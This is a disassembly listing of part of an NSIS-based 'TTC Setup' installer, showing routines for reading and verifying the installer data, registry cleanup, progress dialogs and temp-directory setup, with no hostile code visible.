loc_4034B7:				; CODE XREF: sub_4020E9+1347j
		push	[ebp+arg_0]
		call	ds:dword_40706C	; CloseHandle

loc_4034C0:				; CODE XREF: sub_4020E9+132Fj
		cmp	[ebp+var_34], ebx
		push	0FFFFFFF3h
		pop	edi
		jge	short loc_4034D9
		push	0FFFFFFEFh
		pop	edi
		push	esi
		call	ds:dword_407110	; DeleteFileA
		mov	[ebp+var_4], 1

loc_4034D9:				; CODE XREF: sub_4020E9+13DDj
		push	edi
		jmp	loc_402EBC
; ---------------------------------------------------------------------------

loc_4034DF:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 63
		call	sub_403736
		mov	esi, eax
		cmp	esi, dword_42F04C
		jnb	loc_4033A2
		mov	ecx, dword_42F048
		lea	eax, [esi+esi*2]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+var_1C]
		cmp	ecx, ebx
		mov	[ebp+arg_0], eax
		jl	short loc_40351E
		mov	eax, [eax+ecx*4]
		push	eax
		push	edi
		jz	loc_4035BC

loc_403514:				; CODE XREF: sub_4020E9+14Dj
					; sub_4020E9+1246j
		call	sub_406827
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_40351E:				; CODE XREF: sub_4020E9+141Ej
		mov	edi, ds:dword_407248
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		mov	[ebp+var_1C], eax
		jz	short loc_40353A
		push	1
		call	sub_403736
		mov	[ebp+var_20], eax
		jmp	short loc_403548
; ---------------------------------------------------------------------------

loc_40353A:				; CODE XREF: sub_4020E9+1443j
		push	[ebp+var_20]
		push	esi
		push	417h
		push	[ebp+var_34]
		call	edi	; SendMessageA

loc_403548:				; CODE XREF: sub_4020E9+144Fj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_20]
		mov	[ecx+eax*4], edx
		cmp	[ebp+var_1C], ebx
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	ebx
		push	esi
		push	418h
		push	[ebp+var_34]
		call	edi	; SendMessageA
		jmp	short loc_4035E8 ; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_40356B:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 64
		call	sub_403736
		cmp	[ebp+var_18], ebx
		jz	short loc_40358E
		inc	dword_42F0BC
		push	ebx
		push	ebx
		push	432h
		push	[ebp+var_34]
		call	ds:dword_407248	; SendMessageA
		jmp	short loc_4035E8 ; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_40358E:				; CODE XREF: sub_4020E9+148Bj
		cmp	eax, 20h
		jnb	loc_4033A2
		cmp	[ebp+var_1C], ebx
		jz	short loc_4035AE
		mov	edx, dword_42F028
		mov	ecx, [ebp+var_20]
		mov	[edx+eax*4+94h], ecx
		jmp	short loc_4035E8 ; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4035AE:				; CODE XREF: sub_4020E9+14B1j
		mov	ecx, dword_42F028
		push	dword ptr [ecx+eax*4+94h]
		push	edi

loc_4035BC:				; CODE XREF: sub_4020E9+1425j
		call	sub_4068D5
		jmp	short loc_4035E8 ; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4035C3:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		mov	ecx, dword_42CA18 ; jumptable 00402146 case 67
		push	ebx
		and	ecx, eax
		push	ecx
		push	0Bh
		push	[ebp+var_8]
		call	ds:dword_407248	; SendMessageA
		cmp	[ebp+var_24], ebx
		jz	short loc_4035E8 ; default
					; jumptable 00402146 cases 65,66
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	ds:dword_407244	; InvalidateRect

loc_4035E8:				; CODE XREF: sub_4020E9+57j
					; sub_4020E9+5Dj ...
		mov	eax, [ebp+var_4] ; default
					; jumptable 00402146 cases 65,66
		add	dword_42F0A8, eax

loc_4035F1:				; CODE XREF: sub_4020E9+4A3j
					; sub_4020E9+11E2j
		xor	eax, eax

loc_4035F3:				; CODE XREF: sub_4020E9+5Dj
					; sub_4020E9+A8j ...
		pop	edi		; jumptable 00402146 case 2
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4020E9	endp

; ---------------------------------------------------------------------------
off_4035FA	dd offset loc_4035F3, offset loc_40214D, offset	loc_402159
					; DATA XREF: sub_4020E9+5Dr
		dd offset loc_402174, offset loc_402196, offset	loc_4021CF ; jump table	for switch statement
		dd offset loc_4021E9, offset loc_40223B, offset	loc_402269
		dd offset loc_402287, offset loc_402303, offset	loc_4021F7
		dd offset loc_40220D, offset loc_40222E, offset	loc_402314
		dd offset loc_4023A8, offset loc_40240D, offset	loc_40243D
		dd offset loc_402450, offset loc_402611, offset	loc_402614
		dd offset loc_402646, offset loc_40265B, offset	loc_40266D
		dd offset loc_4026EE, offset loc_402712, offset	loc_402749
		dd offset loc_40277B, offset loc_402808, offset	loc_402829
		dd offset loc_4028CD, offset loc_4028CD, offset	loc_40298F
		dd offset loc_4029AC, offset loc_4029C7, offset	loc_4029E3
		dd offset loc_402A3D, offset loc_402AB7, offset	loc_402AE3
		dd offset loc_402B4B, offset loc_402BF2, offset	loc_402C22
		dd offset loc_402CB0, offset loc_402D7A, offset	loc_402ECA
		dd offset loc_402F4E, offset loc_402F7D, offset	loc_402FC1
		dd offset loc_403001, offset loc_403057, offset	loc_4030F5
		dd offset loc_403167, offset loc_4031C0, offset	loc_4031D4
		dd offset loc_4031F6, offset loc_40323E, offset	loc_403303
		dd offset loc_403334, offset loc_40334E, offset	loc_403384
		dd offset loc_4033B7, offset loc_4034DF, offset	loc_40356B
		dd offset loc_4035E8, offset loc_4035E8, offset	loc_4035C3
off_403702	dd offset loc_40279C	; DATA XREF: sub_4020E9+6ACr
		dd offset loc_4027A0	; jump table for switch	statement
		dd offset loc_4027A4
		dd offset loc_4027AB
		dd offset loc_4027B8
		dd offset loc_4027BC
		dd offset loc_4027C0
		dd offset loc_4027C4
		dd offset loc_4027CD
		dd offset loc_4027D7
		dd offset loc_4027E4
		dd offset loc_4027FC
		dd offset loc_402800

; =============== S U B	R O U T	I N E =======================================



sub_403736	proc near		; CODE XREF: sub_4020E9+E7p
					; sub_4020E9+110p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_40A9C4
		push	dword ptr [ecx+eax*4]
		push	0
		call	sub_4068D5
		push	eax
		call	sub_406840
		retn	4
sub_403736	endp


; =============== S U B	R O U T	I N E =======================================



sub_403753	proc near		; CODE XREF: sub_4020E9+182p
					; sub_4020E9+1A0p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		mov	eax, esi
		jge	short loc_403761
		neg	eax

loc_403761:				; CODE XREF: sub_403753+Aj
		mov	edx, dword_40A9C4
		mov	ecx, eax
		and	ecx, 0Fh
		sar	eax, 4
		push	dword ptr [edx+ecx*4]
		shl	eax, 0Ah
		add	eax, offset aCall ; "Call"
		push	eax
		call	sub_4068D5
		test	esi, esi
		mov	edi, eax
		jge	short loc_40378C
		push	edi
		call	sub_406B09

loc_40378C:				; CODE XREF: sub_403753+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_403753	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403793	proc near		; CODE XREF: sub_4020E9+F5Ap
					; sub_403793+42p

var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		xor	ebx, ebx
		push	8
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_407010	; RegOpenKeyExA
		cmp	eax, ebx
		jnz	short loc_403805
		mov	esi, ds:dword_407020
		mov	edi, 105h
		jmp	short loc_4037DE
; ---------------------------------------------------------------------------

loc_4037C5:				; CODE XREF: sub_403793+5Bj
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40380C
		lea	eax, [ebp+var_10C]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_403793
		test	eax, eax
		jnz	short loc_4037F0

loc_4037DE:				; CODE XREF: sub_403793+30j
		lea	eax, [ebp+var_10C]
		push	edi
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	esi	; RegEnumKeyA
		test	eax, eax
		jz	short loc_4037C5

loc_4037F0:				; CODE XREF: sub_403793+49j
		push	[ebp+var_4]
		call	ds:dword_40701C	; RegCloseKey
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_407014	; RegDeleteKeyA

loc_403805:				; CODE XREF: sub_403793+23j
					; sub_403793+85j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------

loc_40380C:				; CODE XREF: sub_403793+35j
		push	[ebp+var_4]
		call	ds:dword_40701C	; RegCloseKey
		xor	eax, eax
		inc	eax
		jmp	short loc_403805
sub_403793	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40381A	proc near		; CODE XREF: sub_4020E9+F1Fp
					; sub_4020E9+1011p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	22h
		call	sub_403753
		push	eax
		mov	eax, dword_40A9C4
		push	dword ptr [eax+4]
		call	ds:dword_407010	; RegOpenKeyExA
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, [ebp+arg_0]
		pop	ebp
		retn	4
sub_40381A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403849	proc near		; DATA XREF: sub_4038D5+14Fo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 110h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, 113h
		jnz	short loc_40387A
		push	0
		push	0FAh
		push	1
		push	edi
		call	ds:dword_407208	; SetTimer
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_4], esi
		mov	dword_40C5D0, eax

loc_40387A:				; CODE XREF: sub_403849+14j
		cmp	[ebp+arg_4], esi
		jnz	short loc_4038CD
		mov	ecx, dword_4161D8
		mov	eax, dword_42A1DD+3
		cmp	ecx, eax
		jl	short loc_403890
		mov	ecx, eax

loc_403890:				; CODE XREF: sub_403849+43j
		push	eax
		push	64h
		push	ecx
		call	ds:dword_40710C	; MulDiv
		push	eax
		mov	esi, offset dword_416198
		push	dword_40C5D0
		push	esi
		call	ds:dword_40721C	; wsprintfA
		add	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_40720C	; SetWindowTextA
		push	esi
		push	406h
		push	edi
		call	sub_4061E0	; SetDlgItemTextA
		push	5
		push	edi
		call	ds:dword_407218	; ShowWindow

loc_4038CD:				; CODE XREF: sub_403849+34j
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	10h
sub_403849	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038D5	proc near		; CODE XREF: start+14Fp

var_48		= byte ptr -48h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi
		call	ds:dword_4070A8	; GetTickCount
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	esi, offset aCM_unpacker ; "C:\\m_unpacker"
		push	400h
		push	esi
		mov	edi, eax
		push	dword_42F020
		add	edi, 3E8h
		call	ds:dword_4070A4	; GetModuleFileNameA
		push	3
		push	80000000h
		push	esi
		call	sub_40658F
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+var_10], ebx
		mov	dword_409048, ebx
		jnz	short loc_403935
		mov	eax, offset aErrorLaunching ; "Error launching installer"
		jmp	loc_403B6C
; ---------------------------------------------------------------------------

loc_403935:				; CODE XREF: sub_4038D5+54j
		push	esi
		call	sub_406417
		push	0
		push	ebx
		call	ds:dword_4070A0	; GetFileSize
		test	eax, eax
		mov	dword_42A1DD+3,	eax
		mov	esi, eax
		jle	loc_403AA8

loc_403953:				; CODE XREF: sub_4038D5+18Aj
		mov	eax, dword_42F02C
		mov	ebx, esi
		neg	eax
		sbb	eax, eax
		and	eax, 7E00h
		add	eax, 200h
		cmp	esi, eax
		jl	short loc_40396E
		mov	ebx, eax

loc_40396E:				; CODE XREF: sub_4038D5+95j
		push	ebx
		push	offset dword_4221E0
		call	sub_403D9F
		test	eax, eax
		jz	loc_403A88
		xor	eax, eax
		cmp	dword_42F02C, eax
		jnz	short loc_403A0A
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	offset dword_4221E0
		push	eax
		call	sub_40656F
		mov	ecx, [ebp+var_2C]
		test	ecx, 0FFFFFFF0h
		jnz	loc_403A3C
		cmp	[ebp+var_28], 0DEADBEEFh
		jnz	loc_403A3C
		cmp	[ebp+var_1C], 74736E49h
		jnz	short loc_403A3C
		cmp	[ebp+var_20], 74666F73h
		jnz	short loc_403A3C
		cmp	[ebp+var_24], 6C6C754Eh
		jnz	short loc_403A3C
		mov	eax, [ebp+var_14]
		cmp	eax, esi
		jg	loc_403B09
		or	[ebp+arg_0], ecx
		mov	edx, dword_4161D8
		test	byte ptr [ebp+arg_0], 8
		mov	dword_42F02C, edx
		jnz	short loc_4039FC
		test	byte ptr [ebp+arg_0], 4
		jnz	loc_403A99

loc_4039FC:				; CODE XREF: sub_4038D5+11Bj
		inc	[ebp+var_8]
		lea	esi, [eax-4]
		cmp	ebx, esi
		jbe	short loc_403A3C
		mov	ebx, esi
		jmp	short loc_403A3C
; ---------------------------------------------------------------------------

loc_403A0A:				; CODE XREF: sub_4038D5+B4j
		test	byte ptr [ebp+arg_0], 2
		jnz	short loc_403A3C
		cmp	[ebp+var_4], eax
		jnz	short loc_403A73
		call	ds:dword_4070A8	; GetTickCount
		cmp	eax, edi
		jbe	short loc_403A3C
		push	offset aVerifyingInsta ; "verifying installer: %d%%"
		push	offset sub_403849
		push	0
		push	6Fh
		push	dword_42F020
		call	ds:dword_407200	; CreateDialogParamA
		mov	[ebp+var_4], eax

loc_403A3C:				; CODE XREF: sub_4038D5+CFj
					; sub_4038D5+DCj ...
		cmp	esi, dword_42A1DD+3
		jge	short loc_403A55
		push	ebx
		push	offset dword_4221E0
		push	[ebp+var_C]
		call	sub_401FAF
		mov	[ebp+var_C], eax

loc_403A55:				; CODE XREF: sub_4038D5+16Dj
		add	dword_4161D8, ebx
		sub	esi, ebx
		test	esi, esi
		jg	loc_403953
		jmp	short loc_403A99
; ---------------------------------------------------------------------------

loc_403A67:				; CODE XREF: sub_4038D5+1AFj
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:dword_407240	; DispatchMessageA
		xor	eax, eax

loc_403A73:				; CODE XREF: sub_4038D5+13Ej
		push	1
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:dword_407264	; PeekMessageA
		test	eax, eax
		jnz	short loc_403A67
		jmp	short loc_403A3C
; ---------------------------------------------------------------------------

loc_403A88:				; CODE XREF: sub_4038D5+A6j
		cmp	[ebp+var_4], 0
		jz	short loc_403B09
		push	[ebp+var_4]
		call	ds:dword_407204	; DestroyWindow
		jmp	short loc_403B09
; ---------------------------------------------------------------------------

loc_403A99:				; CODE XREF: sub_4038D5+121j
					; sub_4038D5+190j
		cmp	[ebp+var_4], 0
		jz	short loc_403AA8
		push	[ebp+var_4]
		call	ds:dword_407204	; DestroyWindow

loc_403AA8:				; CODE XREF: sub_4038D5+78j
					; sub_4038D5+1C8j
		xor	edi, edi
		cmp	dword_42F02C, edi
		jz	short loc_403B09
		cmp	[ebp+var_8], edi
		jz	short loc_403AD9
		push	dword_4161D8
		call	sub_403DD1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	sub_403D9F
		test	eax, eax
		jz	short loc_403B09
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_403B09

loc_403AD9:				; CODE XREF: sub_4038D5+1E0j
		push	[ebp+var_18]
		call	sub_406244
		mov	esi, eax
		mov	eax, dword_42F02C
		add	eax, 1Ch
		push	eax
		call	sub_403DD1
		push	[ebp+var_18]
		push	esi
		push	edi
		push	0FFFFFFFFh
		call	sub_403B73
		cmp	eax, [ebp+var_18]
		jz	short loc_403B10
		push	esi
		call	ds:dword_4070BC	; GlobalFree

loc_403B09:				; CODE XREF: sub_4038D5+102j
					; sub_4038D5+1B7j ...
		mov	eax, offset aTheInstallerYo ; "The installer you are trying to use is "...
		jmp	short loc_403B6C
; ---------------------------------------------------------------------------

loc_403B10:				; CODE XREF: sub_4038D5+22Bj
		test	byte ptr [ebp+arg_0], 2
		mov	dword_42F028, esi
		jz	short loc_403B1F
		or	dword ptr [esi], 8

loc_403B1F:				; CODE XREF: sub_4038D5+245j
		mov	eax, [esi]
		and	eax, 18h
		test	byte ptr [ebp+var_2C], 1
		mov	dword_42F0C0, eax
		mov	eax, [esi]
		mov	dword_42F030, eax
		jz	short loc_403B3C
		inc	dword_42F034

loc_403B3C:				; CODE XREF: sub_4038D5+25Fj
		push	8
		lea	eax, [esi+44h]
		pop	ecx

loc_403B42:				; CODE XREF: sub_4038D5+273j
		sub	eax, 8
		add	[eax], esi
		dec	ecx
		jnz	short loc_403B42
		push	1
		push	edi
		push	edi
		push	[ebp+var_10]
		call	ds:dword_407120	; SetFilePointer
		mov	[esi+3Ch], eax
		add	esi, 4
		push	40h
		push	esi
		push	offset dword_42F040
		call	sub_40656F
		xor	eax, eax

loc_403B6C:				; CODE XREF: sub_4038D5+5Bj
					; sub_4038D5+239j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4038D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B73	proc near		; CODE XREF: sub_4020E9+4C0p
					; sub_4020E9+FE6p ...

var_58		= byte ptr -58h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_8], esi
		test	edi, edi
		jnz	short loc_403B90
		mov	[ebp+var_8], 8000h

loc_403B90:				; CODE XREF: sub_403B73+14j
		and	[ebp+var_4], 0
		mov	[ebp+var_C], edi
		test	edi, edi
		jnz	short loc_403BA2
		mov	[ebp+var_C], offset dword_41A1E0

loc_403BA2:				; CODE XREF: sub_403B73+26j
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jl	short loc_403BB7
		mov	ecx, dword_42F078
		add	ecx, eax
		push	ecx
		call	sub_403DD1

loc_403BB7:				; CODE XREF: sub_403B73+34j
		lea	eax, [ebp+arg_C]
		push	4
		push	eax
		call	sub_403D9F
		test	eax, eax
		jz	loc_403D4A
		test	byte ptr [ebp+arg_C+3],	80h
		jz	loc_403D33
		mov	ebx, ds:dword_4070A8
		call	ebx	; GetTickCount
		and	dword_40CB04, 0
		and	dword_40CB00, 0
		and	[ebp+arg_C], 7FFFFFFFh
		mov	[ebp+var_10], eax
		mov	eax, offset dword_40E188
		mov	dword_40C5E8, 8
		mov	off_416190, eax
		mov	off_41618C, eax
		mov	eax, [ebp+arg_C]
		mov	off_416188, offset off_416188
		mov	[ebp+arg_0], eax
		jle	loc_403D95

loc_403C23:				; CODE XREF: sub_403B73+1B0j
		mov	esi, 4000h
		cmp	[ebp+arg_C], esi
		jge	short loc_403C30
		mov	esi, [ebp+arg_C]

loc_403C30:				; CODE XREF: sub_403B73+B8j
		mov	edi, offset dword_4161E0
		push	esi
		push	edi
		call	sub_403D9F
		test	eax, eax
		jz	loc_403D4A
		sub	[ebp+arg_C], esi
		mov	off_40C5D8, edi
		mov	dword_40C5DC, esi

loc_403C53:				; CODE XREF: sub_403B73+1A5j
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_8]
		push	offset off_40C5D8
		mov	off_40C5E0, edi
		mov	dword_40C5E4, eax
		call	sub_401000
		test	eax, eax
		mov	[ebp+var_18], eax
		jl	loc_403D2B
		mov	esi, off_40C5E0
		sub	esi, edi
		call	ebx	; GetTickCount
		test	byte ptr dword_4092C0, 1
		mov	edi, eax
		jz	short loc_403CD1
		sub	eax, [ebp+var_10]
		cmp	eax, 0C8h
		ja	short loc_403C9E
		cmp	[ebp+arg_C], 0
		jnz	short loc_403CD1

loc_403C9E:				; CODE XREF: sub_403B73+123j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_0]
		sub	eax, [ebp+arg_C]
		push	64h
		push	eax
		call	ds:dword_40710C	; MulDiv
		push	eax
		lea	eax, [ebp+var_58]
		push	offset a___D	; "... %d%%"
		push	eax
		call	ds:dword_40721C	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	0
		call	sub_405CAC
		mov	[ebp+var_10], edi

loc_403CD1:				; CODE XREF: sub_403B73+119j
					; sub_403B73+129j
		xor	eax, eax
		cmp	esi, eax
		jz	short loc_403D20
		cmp	[ebp+arg_8], eax
		jnz	short loc_403CFC
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	ds:dword_407150	; WriteFile
		test	eax, eax
		jz	short loc_403D2F
		cmp	[ebp+var_14], esi
		jnz	short loc_403D2F
		add	[ebp+var_4], esi
		jmp	short loc_403D14
; ---------------------------------------------------------------------------

loc_403CFC:				; CODE XREF: sub_403B73+167j
		sub	[ebp+var_8], esi
		add	[ebp+var_4], esi
		mov	eax, off_40C5E0
		cmp	[ebp+var_8], 1
		mov	[ebp+var_C], eax
		jl	loc_403D95

loc_403D14:				; CODE XREF: sub_403B73+187j
		cmp	[ebp+var_18], 1
		jnz	loc_403C53
		jmp	short loc_403D95
; ---------------------------------------------------------------------------

loc_403D20:				; CODE XREF: sub_403B73+162j
		cmp	[ebp+arg_C], eax
		jg	loc_403C23
		jmp	short loc_403D95
; ---------------------------------------------------------------------------

loc_403D2B:				; CODE XREF: sub_403B73+100j
		push	0FFFFFFFCh
		jmp	short loc_403D4C
; ---------------------------------------------------------------------------

loc_403D2F:				; CODE XREF: sub_403B73+17Dj
					; sub_403B73+182j ...
		push	0FFFFFFFEh
		jmp	short loc_403D4C
; ---------------------------------------------------------------------------

loc_403D33:				; CODE XREF: sub_403B73+5Bj
		test	edi, edi
		jz	short loc_403D8A
		cmp	[ebp+arg_C], esi
		jge	short loc_403D3F
		mov	esi, [ebp+arg_C]

loc_403D3F:				; CODE XREF: sub_403B73+1C7j
		push	esi
		push	edi
		call	sub_403D9F
		test	eax, eax
		jnz	short loc_403D92

loc_403D4A:				; CODE XREF: sub_403B73+51j
					; sub_403B73+CBj ...
		push	0FFFFFFFDh

loc_403D4C:				; CODE XREF: sub_403B73+1BAj
					; sub_403B73+1BEj
		pop	eax
		jmp	short loc_403D98
; ---------------------------------------------------------------------------

loc_403D4F:				; CODE XREF: sub_403B73+21Bj
		mov	esi, [ebp+var_8]
		cmp	[ebp+arg_C], esi
		jge	short loc_403D5A
		mov	esi, [ebp+arg_C]

loc_403D5A:				; CODE XREF: sub_403B73+1E2j
		mov	edi, offset dword_4161E0
		push	esi
		push	edi
		call	sub_403D9F
		test	eax, eax
		jz	short loc_403D4A
		lea	eax, [ebp+arg_8]
		push	0
		push	eax
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_407150	; WriteFile
		test	eax, eax
		jz	short loc_403D2F
		cmp	esi, [ebp+arg_8]
		jnz	short loc_403D2F
		add	[ebp+var_4], esi
		sub	[ebp+arg_C], esi

loc_403D8A:				; CODE XREF: sub_403B73+1C2j
		cmp	[ebp+arg_C], 0
		jg	short loc_403D4F
		jmp	short loc_403D95
; ---------------------------------------------------------------------------

loc_403D92:				; CODE XREF: sub_403B73+1D5j
		mov	[ebp+var_4], esi

loc_403D95:				; CODE XREF: sub_403B73+AAj
					; sub_403B73+19Bj ...
		mov	eax, [ebp+var_4]

loc_403D98:				; CODE XREF: sub_403B73+1DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_403B73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D9F	proc near		; CODE XREF: sub_4020E9+1357p
					; sub_4038D5+9Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	0
		push	eax
		push	esi
		push	[ebp+arg_0]
		push	dword_409048
		call	ds:dword_407130	; ReadFile
		test	eax, eax
		jz	short loc_403DCA
		cmp	[ebp+arg_4], esi
		jnz	short loc_403DCA
		xor	eax, eax
		inc	eax
		jmp	short loc_403DCC
; ---------------------------------------------------------------------------

loc_403DCA:				; CODE XREF: sub_403D9F+1Fj
					; sub_403D9F+24j
		xor	eax, eax

loc_403DCC:				; CODE XREF: sub_403D9F+29j
		pop	esi
		pop	ebp
		retn	8
sub_403D9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DD1	proc near		; CODE XREF: sub_4020E9+134Ep
					; sub_4038D5+1E8p ...

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		push	dword_409048
		call	ds:dword_407120	; SetFilePointer
		retn	4
sub_403DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DE8	proc near		; CODE XREF: start+4Dp	start+70p
		push	esi
		mov	esi, offset aCDocume1SriU_1 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\"
		push	esi
		call	sub_406B09
		push	esi
		call	sub_40643C
		test	eax, eax
		jnz	short loc_403E00
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_403E00:				; CODE XREF: sub_403DE8+14j
		push	esi
		call	sub_4063CF
		push	0
		push	esi
		call	ds:dword_407094	; CreateDirectoryA
		push	esi
		push	offset byte_435000
		call	sub_4065BE
		pop	esi
		retn
sub_403DE8	endp


; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C0		= dword	ptr -0C0h
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+30h+var_18], ebx
		mov	[esp+30h+var_20], offset aErrorWritingTe ; "Error writing temporary file. Make sure"...
		mov	[esp+30h+var_1C], 20h
		call	ds:dword_407028
		push	ebx
		call	ds:dword_40727C
		push	offset aNsisError ; "NSIS Error"
		push	offset aTtcSetup ; "TTC	Setup"
		mov	dword_42F0D0, eax
		call	sub_4068C9	; lstrcpy
		mov	esi, offset aCDocume1SriU_1 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\"
		mov	edi, 400h
		push	esi
		push	edi
		call	ds:dword_4070C4	; GetTempPathA
		call	sub_403DE8
		mov	ebp, ds:dword_40708C
		test	eax, eax
		jnz	short loc_403E99
		push	3FBh
		push	esi
		call	ds:dword_4070C0	; GetWindowsDirectoryA
		push	offset aTemp	; "\\Temp"
		push	esi
		call	ebp	; lstrcat
		call	sub_403DE8
		test	eax, eax
		jz	loc_403FE0

loc_403E99:				; CODE XREF: start+5Aj
		mov	esi, offset byte_435000
		push	esi
		call	ds:dword_407110	; DeleteFileA
		push	edi
		call	ds:dword_407154	; GetCommandLineA
		push	eax
		push	esi
		call	ds:dword_4070B8	; lstrcpyn
		push	0
		call	ds:dword_407134	; GetModuleHandleA
		cmp	ds:byte_435000,	22h
		mov	dword_42F020, eax
		jnz	short loc_403ED4
		mov	byte ptr [esp+68h+var_54], 22h
		mov	esi, offset byte_435001

loc_403ED4:				; CODE XREF: start+ACj
		push	[esp+68h+var_54]
		push	esi
		call	sub_4063FB
		push	eax
		call	ds:dword_40717C	; CharNextA
		mov	edi, eax
		mov	[esp+6Ch+var_50], edi
		jmp	short loc_403F50
; ---------------------------------------------------------------------------

loc_403EED:				; CODE XREF: start+138j
		cmp	cl, 20h
		jnz	short loc_403EF8

loc_403EF2:				; CODE XREF: start+DAj
		inc	eax
		cmp	byte ptr [eax],	20h
		jz	short loc_403EF2

